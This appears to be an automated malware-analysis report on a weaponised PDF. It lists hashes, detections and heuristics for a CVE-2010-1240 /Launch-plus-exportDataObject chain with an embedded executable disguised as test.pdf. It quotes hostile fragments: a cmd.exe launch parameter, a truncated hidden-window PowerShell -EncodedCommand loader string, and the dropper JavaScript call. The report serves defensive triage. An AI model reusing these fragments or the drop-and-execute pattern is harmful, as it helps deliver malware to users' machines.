Malicious PDF — malware analysis report

Static analysis result for SHA-256 83a75e8221849284…

MALICIOUS

PDF

1.12 MB Authoring application: _=U $¡<ÓæÂǕ\,§ðä First seen: 2021-01-15
MD5: 3013e81dfef5bd40336d3d74bf4028fb SHA-1: af597bc31b007f07d323a54d205f651c40861933 SHA-256: 83a75e82218492844271c76a59ffd478857956e1a383c4c80aa415555a2085b3
594 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 0.9914

Heuristics 12

  • Adobe Reader Launch action command execution critical CVE exact CVE_2010_1240
    PDF uses the Adobe Reader/Acrobat Launch action pattern associated with CVE-2010-1240: cmd.exe is invoked with attacker-controlled parameters, paired with an embedded/exported payload.
  • ClamAV: Pdf.Tool.Agent-1388586 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Tool.Agent-1388586
  • Launch action critical PDF_LAUNCH
    PDF contains a /Launch action whose target is an executable, URL, or UNC path — can start an external application
  • Embedded Windows executable payload in PDF stream critical PDF_EMBEDDED_PE_PAYLOAD
    PDF stream bytes contain an embedded Windows executable with a verified PE header. Exploit chains often hide droppers inside ordinary streams rather than standard /EmbeddedFile attachments.
  • /Launch action target: cmd.exe critical PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/Q /C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "Desktop\\test.pdf" (cd "Desktop"' — references a known-dangerous executable (cmd, PowerShell, etc.).
  • Embedded attachment masquerades: declared document, content is windows-executable critical PDF_EMBEDDED_FILESPEC_CONTENT_MISMATCH
    An /EmbeddedFile attachment's declared filename extension or /Subtype MIME type contradicts the magic bytes of its decompressed content. The attachment is declared as a benign document or image but the bytes are an executable or executable-bearing archive. This is a deliberate deception used to hide droppers in PDF attachments and is a generic indicator of embed-and-drop weaponisation, independent of any specific CVE.
  • Encrypted PDF carries /JavaScript — payload hidden from static analysis high PDF_ENCRYPTED_WITH_JS
    PDF declares /Encrypt and also references an executable trigger (/JavaScript). Document encryption hides the JavaScript body and stream contents from static scanners — combined with auto-execution indicators this is a known evasion pattern used to deliver weaponised JavaScript that the analyst cannot inspect without the decryption key.
  • /Launch action paired with attachment-dropping JS API high PDF_LAUNCH_PLUS_DROPPER_JS
    PDF combines a /Launch action with a JavaScript API call that writes or opens an attached/external resource — the canonical shape of the CVE-2010-1240 /Launch + exportDataObject family. Benign PDFs do not pair these surfaces; the combination indicates a drop-and-execute chain regardless of the specific JS API knobs or /Launch target.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
test.pdf pdf-embedded-file PDF EmbeddedFile object 25 at offset 0x115090 106335 bytes
SHA-256: 2596765f931b807f0cce348cb374bbfc543d70b3f882b248b0133682014b47be
Detection
ClamAV: Win.Dropper.Taranis-9870904-0
Obfuscation or payload: likely
actual_type=PE; declared_or_context_type=PDF; filename=test.pdf; kind=pdf-embedded-file Static shellcode analysis recovered command string(s): powershell -window hidden -EncodedCommand JABNAFEANQBKACAAPQAgACcAJABEAGYAeQBJACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUA Carved artifact contains a PowerShell -EncodedCommand style payload.
javascript_obj0004_000.js pdf-javascript-stream PDF /JS object 4 at offset 0x267 53 bytes
SHA-256: b1a09f919e0f5d1c1d284849c9af93bae6fd1411634dfdc491e126f9cd327f3f
Preview script
First 1,000 lines of the extracted script
this.exportDataObject({ cName: "test", nLaunch: 0 });

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